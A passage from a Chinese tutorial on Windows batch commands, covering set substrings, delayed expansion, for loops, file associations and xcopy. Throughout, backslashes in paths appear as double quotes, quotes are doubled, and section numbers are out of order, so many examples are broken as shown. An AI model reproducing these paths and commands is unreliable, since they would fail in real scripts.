和 == 是一样的,其它运算符参见 if/? if exist c:"test.bat echo 存在c:"test.bat文件 if not exist c:"windows ( echo 不存在c:"windows文件夹 ) if exist c:"test.bat ( echo 存在c:"test.bat ) else ( echo 不存在c:"test.bat ) 30 setlocal 和 endlocal 设置”命令扩展名”和”延缓环境变量扩充” SETLOCAL ENABLEEXTENSIONS #启用""命令扩展名"" SETLOCAL DISABLEEXTENSIONS #停用""命令扩展名"" SETLOCAL ENABLEDELAYEDEXPANSION #启用""延缓环境变量扩充"" SETLOCAL DISABLEDELAYEDEXPANSION #停用""延缓环境变量扩充"" ENDLOCAL #恢复到使用SETLOCAL语句以前的状态 “命令扩展名”默认为启用 “延缓环境变量扩充”默认为停用 批处理结束系统会自动恢复默认值 可以修改注册表以禁用""命令扩展名"",详见 cmd /? 。所以用到""命令扩展名""的程 序,建议在开头和结尾加上 SETLOCAL ENABLEEXTENSIONS 和 ENDLOCAL 语句,以确 保程序能在其它系统上正确运行 ""延缓环境变量扩充""主要用于 if 和 for 的符合语句,在 set 的说明里有其实用例程 31 set 设置变量 引用变量可在变量名前后加 % ,即 %变量名% set #显示目前所有可用的变量,包括系统变量和自定义的变量 echo %SystemDrive% #显示系统盘盘符。系统变量可以直接引用 set p #显示所有以p开头的变量,要是一个也没有就设errorlevel=1 set p=aa1bb1aa2bb2 #设置变量p,并赋值为 = 后面的字符串,即aa1bb1aa2bb2 echo %p% #显示变量p代表的字符串,即aa1bb1aa2bb2 echo %p:~6% #显示变量p中第6个字符以后的所有字符,即aa2bb2 echo %p:~6,3% #显示第6个字符以后的3个字符,即aa2 echo %p:~0,3% #显示前3个字符,即aa1 echo %p:~-2% #显示最后面的2个字符,即b2 echo %p:~0,-2% #显示除了最后2个字符以外的其它字符,即aa1bb1aa2b echo %p:aa=c% #用c替换变量p中所有的aa,即显示c1bb1c2bb2 echo %p:aa=% #将变量p中的所有aa字符串置换为空,即显示1bb12bb2 echo %p:*bb=c% #第一个bb及其之前的所有字符被替换为c,即显示c1aa2bb2 set p=%p:*bb=c% #设置变量p,赋值为 %p:*bb=c% ,即c1aa2bb2 set /a p=39 #设置p为数值型变量,值为39 set /a p=39/10 #支持运算符,有小数时用去尾法,39/10=3.9,去尾得3,p=3 set /a p=p/10 #用 /a 参数时,在 = 后面的变量可以不加%直接引用 set /a p=”1&0″ #”与”运算,要加引号。其它支持的运算符参见set/? set p= #取消p变量 set /p p=请输入 屏幕上显示”请输入”,并会将输入的字符串赋值给变量p 注意这条可以用来取代 choice 命令 注意变量在 if 和 for 的复合语句里是一次性全部替换的,如 @echo off set p=aaa if %p%==aaa ( echo %p% set p=bbb echo %p% ) 结果将显示 aaa aaa 因为在读取 if 语句时已经将所有 %p% 替换为aaa 这里的""替换"",在 /? 帮助里就是指""扩充""、""环境变量扩充"" 可以启用”延缓环境变量扩充”,用 ! 来引用变量,即 !变量名! @echo off SETLOCAL ENABLEDELAYEDEXPANSION set p=aaa if %p%==aaa ( echo %p% set p=bbb echo !p! ) ENDLOCAL 结果将显示 aaa bbb 还有几个动态变量,运行 set 看不到 %CD% #代表当前目录的字符串 %DATE% #当前日期 %TIME% #当前时间 %RANDOM% #随机整数,介于0~32767 %ERRORLEVEL% #当前 ERRORLEVEL 值 %CMDEXTVERSION% #当前命令处理器扩展名版本号 %CMDCMDLINE% #调用命令处理器的原始命令行 可以用echo命令查看每个变量值,如 echo %time% 注意 %time% 精确到毫秒,在批处理需要延时处理时可以用到 32 start 批处理中调用外部程序的命令,否则等外部程序完成后才继续执行剩下的指令 33 call 批处理中调用另外一个批处理的命令,否则剩下的批处理指令将不会被执行 有时有的应用程序用start调用出错的,也可以call调用 34 choice (外部命令) 选择命令 让用户输入一个字符,从而选择运行不同的命令,返回码errorlevel为1234…… win98里是choice.com win2000pro里没有,可以从win98里拷过来 win2003里是choice.exe choice /N /C y /T 5 /D y>nul 延时5秒 35 assoc 和 ftype 文件关联 assoc 设置'文件扩展名'关联,关联到'文件类型' ftype 设置'文件类型'关联,关联到'执行程序和参数' 当你双击一个.txt文件时,windows并不是根据.txt直接判断用 notepad.exe 打开 而是先判断.txt属于 txtfile '文件类型' 再调用 txtfile 关联的命令行 txtfile=%SystemRoot%"system32"NOTEPAD.EXE %1 可以在""文件夹选项""→""文件类型""里修改这2种关联 assoc #显示所有'文件扩展名'关联 assoc .txt #显示.txt代表的'文件类型',结果显示 .txt=txtfile assoc .doc #显示.doc代表的'文件类型',结果显示 .doc=Word.Document.8 assoc .exe #显示.exe代表的'文件类型',结果显示 .exe=exefile ftype #显示所有'文件类型'关联 ftype exefile #显示exefile类型关联的命令行,结果显示 exefile=""%1"" %* assoc .txt=Word.Document.8 设置.txt为word类型的文档,可以看到.txt文件的图标都变了 assoc .txt=txtfile 恢复.txt的正确关联 ftype exefile=""%1"" %* 恢复 exefile 的正确关联 如果该关联已经被破坏,可以运行 command.com ,再输入这条命令 36 pushd 和 popd 切换当前目录 @echo off c: & cd" & md mp3 #在 C:" 建立 mp3 文件夹 md d:"mp4 #在 D:" 建立 mp4 文件夹 cd /d d:"mp4 #更改当前目录为 d:"mp4 pushd c:"mp3 #保存当前目录,并切换当前目录为 c:"mp3 popd #恢复当前目录为刚才保存的 d:"mp4 37 for 循环命令 这个比较复杂,请对照 for/? 来看 for %%i in (c: d: e: f:) do echo %%i 依次调用小括号里的每个字符串,执行 do 后面的命令 注意%%i,在批处理中 for 语句调用参数用2个% 默认的字符串分隔符是""空格键"",""Tab键"",""回车键"" for %%i in (*.txt) do find ""abc"" %%i 对当前目录里所有的txt文件执行 find 命令 for /r . %%i in (*.txt) do find ""abc"" %%i 在当前目录和子目录里所有的.txt文件中搜索包含 abc 字符串的行 for /r . %%i in (.) do echo %%~pni 显示当前目录名和所有子目录名,包括路径,不包括盘符 for /r d:"mp3 %%i in (*.mp3) do echo %%i>>d:"mp3.txt 把 d:"mp3 及其子目录里的mp3文件的文件名都存到 d:"mp3.txt 里去 for /l %%i in (2,1,8) do echo %%i 生成2345678的一串数字,2是数字序列的开头,8是结尾,1表示每次加1 for /f %%i in ('set') do echo %%i 对 set 命令的输出结果循环调用,每行一个 for /f ""eol=P"" %%i in ('set') do echo %%i 取 set 命令的输出结果,忽略以 P 开头的那几行 for /f %%i in (d:"mp3.txt) do echo %%i 显示 d:"mp3.txt 里的每个文件名,每行一个,不支持带空格的名称 for /f ""delims="" %%i in (d:"mp3.txt) do echo %%i 显示 d:"mp3.txt 里的每个文件名,每行一个,支持带空格的名称 for /f ""skip=5 tokens=4"" %%a in ('dir') do echo %%a 对 dir 命令的结果,跳过前面5行,余下的每行取第4列 每列之间的分隔符为默认的""空格"" 可以注意到 dir 命令输出的前5行是没有文件名的 for /f ""tokens=1,2,3 delims=- "" %%a in ('date /t') do ( echo %%a echo %%b echo %%c ) 对 date /t 的输出结果,每行取1、2、3列 第一列对应指定的 %%a ,后面的 %%b 和 %%c 是派生出来的,对应其它列 分隔符指定为 - 和""空格"",注意 delims=- 后面有个""空格"" 其中 tokens=1,2,3 若用 tokens=1-3 替换,效果是一样的 for /f ""tokens=2* delims=- "" %%a in ('date /t') do echo %%b 取第2列给 %%a ,其后的列都给 %%b 32 subst (外部命令) 映射磁盘。 subst z: "server"d #这样输入z:就可以访问"server"d了 subst z: /d #取消该映射 subst #显示目前所有的映时 38 xcopy (外部命令) 文件拷贝 xcopy d:"mp3 e:"mp3 /s/e/i/y 复制 d:"mp3 文件夹、所有子文件夹和文件到 e:" ,覆盖已有文件 加 /i 表示如果 e:" 没有 mp3 文件夹就自动新建一个,否则会有询